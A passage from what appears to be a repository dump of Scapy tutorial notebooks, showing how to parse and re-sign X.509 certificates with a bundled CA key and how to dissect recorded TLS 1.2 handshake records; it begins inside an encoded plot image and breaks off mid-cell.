f5ni6F53yRJxJbCy88QZs3Wqt5yhMQUOk8hUO\\n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\\nAAAASUVORK5CYII=\\n\",\n       \"text\": [\n        \"<matplotlib.figure.Figure at 0x7f126c0fd290>\"\n       ]\n      },\n      {\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 7,\n       \"text\": [\n        \"[[<matplotlib.lines.Line2D at 0x7f126c3d8f10>],\\n\",\n        \" [<matplotlib.lines.Line2D at 0x7f126c3d8f90>]]\"\n       ]\n      }\n     ],\n     \"prompt_number\": 7\n    }\n   ],\n   \"metadata\": {}\n  }\n ]\n}"
  },
  {
    "path": "doc/notebooks/tls/notebook1_x509.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Notebook 1: X.509 certificates\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Jupyter notebook cheat sheet\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Use Shift+Enter to run the current cell\\n\",\n    \"print('Hello!')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# You may also use Alt+Enter to run the current cell, then create a new cell right below\\n\",\n    \"from datetime import datetime\\n\",\n    \"print('This is the time right now: %s' % datetime.now())\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# If needed, pause the cell edition with Ctrl-M.\\n\",\n    \"# Then you can delete the current cell with D+D. You can also undo cell deletion with Z.\\n\",\n    \"# Finally, should Jupyter become stuck in execution, use Kernel/Interrupt from the menu bar.\\n\",\n    \"print('Got it!')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Data manipulation with Scapy\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"from scapy.all import *\\n\",\n    \"load_layer('tls')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"keystr = open('raw_data/pki/ca_key.der', 'rb').read()\\n\",\n    \"print(repr(keystr))\\n\",\n    \"# (btw, you can hide the output of a cell by double-clicking on the left of the output)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"privkey = RSAPrivateKey(keystr)\\n\",\n    \"privkey.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"v = privkey.version\\n\",\n    \"print('The \\\\'version\\\\' stripped from any ASN.1 encoding is 0x%02x.' % v.val)\\n\",\n    \"print('The \\\\'version\\\\' field corresponds to bytes  %r.' % raw(v))\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"privkey.version = ASN1_INTEGER(1)\\n\",\n    \"privkey.modulus.val *= 2\\n\",\n    \"privkey.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"print('Original data: %r...' % keystr[:13])\\n\",\n    \"print('New version bytes:          %r' % raw(privkey.version))\\n\",\n    \"print('New modulus bytes:                      %r...' % raw(privkey.modulus)[:6])\\n\",\n    \"print('Rebuilt data:  %r...' % raw(privkey)[:13])\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"source\": [\n    \"## X.509 certificate features\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Let's reload the original key, then let's load a certificate associated with it\\n\",\n    \"privkey = RSAPrivateKey(keystr)\\n\",\n    \"cert = X509_Cert(open('raw_data/pki/ca_cert.der', 'rb').read())\\n\",\n    \"cert.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.show()\\n\",\n    \"cert.tbsCertificate.subject[-1].rdn[0].show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false,\n    \"scrolled\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"cert.tbsCertificate.subjectPublicKeyInfo.subjectPublicKey.modulus == privkey.modulus\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"cert.tbsCertificate.extensions[2].show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"cert.signatureAlgorithm.algorithm\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Scapy crypto tools\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Let's reload the key with Scapy's crypto-enhanced wrapper\\n\",\n    \"privkey = PrivKey('raw_data/pki/ca_key.der')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"privkey.der == keystr\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"print(privkey.key)\\n\",\n    \"print(privkey.pubkey)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# We can compute the RSA signature over the part of the certificate which is to be signed\\n\",\n    \"privkey.sign(raw(cert.tbsCertificate))\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"cert.signatureValue\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# We can quickly modify a certificate field and update the signature accordingly\\n\",\n    \"cert.tbsCertificate.serialNumber.val = 0xdeadcafe\\n\",\n    \"cert.tbsCertificate.subject[-1].rdn[0].value.val = 'my new deadcafe CA'    \\n\",\n    \"cert2 = privkey.resignCert(cert)\\n\",\n    \"cert2.show()\"\n   ]\n  }\n ],\n \"metadata\": {\n  \"kernelspec\": {\n   \"display_name\": \"Python 2\",\n   \"language\": \"python\",\n   \"name\": \"python2\"\n  },\n  \"language_info\": {\n   \"codemirror_mode\": {\n    \"name\": \"ipython\",\n    \"version\": 2\n   },\n   \"file_extension\": \".py\",\n   \"mimetype\": \"text/x-python\",\n   \"name\": \"python\",\n   \"nbconvert_exporter\": \"python\",\n   \"pygments_lexer\": \"ipython2\",\n   \"version\": \"2.7.13\"\n  }\n },\n \"nbformat\": 4,\n \"nbformat_minor\": 2\n}\n"
  },
  {
    "path": "doc/notebooks/tls/notebook2_tls_protected.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# TLS handshake overview\\n\",\n    \"This is the standard, modern TLS 1.2 handshake:\\n\",\n    \"\\n\",\n    \"<img src=\\\"images/handshake_tls12.png\\\" alt=\\\"Handshake TLS 1.2\\\" width=\\\"400\\\"/>\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": true\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# We're going to parse several successive records from the passive listening of a standard TLS handshake\\n\",\n    \"from scapy.all import *\\n\",\n    \"load_layer('tls')\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## (C) ---> (S) ClientHello\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"record1 = TLS(open('raw_data/tls_session_protected/01_cli.raw', 'rb').read())\\n\",\n    \"record1.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"for extension in record1.msg[0].ext:\\n\",\n    \"    print('')\\n\",\n    \"    extension.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## (C) <--- (S) ServerHello\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"record2 = TLS(open('raw_data/tls_session_protected/02_srv.raw', 'rb').read())\\n\",\n    \"record2.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## (C) <--- (S) Certificate\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"record3 = TLS(open('raw_data/tls_session_protected/03_srv.raw', 'rb').read())\\n\",\n    \"record3.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# The Certificate message actually contains a *chain* of certificates\\n\",\n    \"for cert in record3.msg[0].certs:\\n\",\n    \"    print(type(cert[1]))\\n\",\n    \"    cert[1].show()\\n\",\n    \"    print('')\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": null,\n   \"metadata\": {\n    \"collapsed\": false\n   },\n   \"outputs\": [],\n   \"source\": [\n    \"# Let's recall the domain that the client wants to access\\n\",\n    \"record1.msg[0].ext[0].show()\\n\",\n    \"\\n\",\n    \"# Indeed the certificate may be used with other domains than its CN 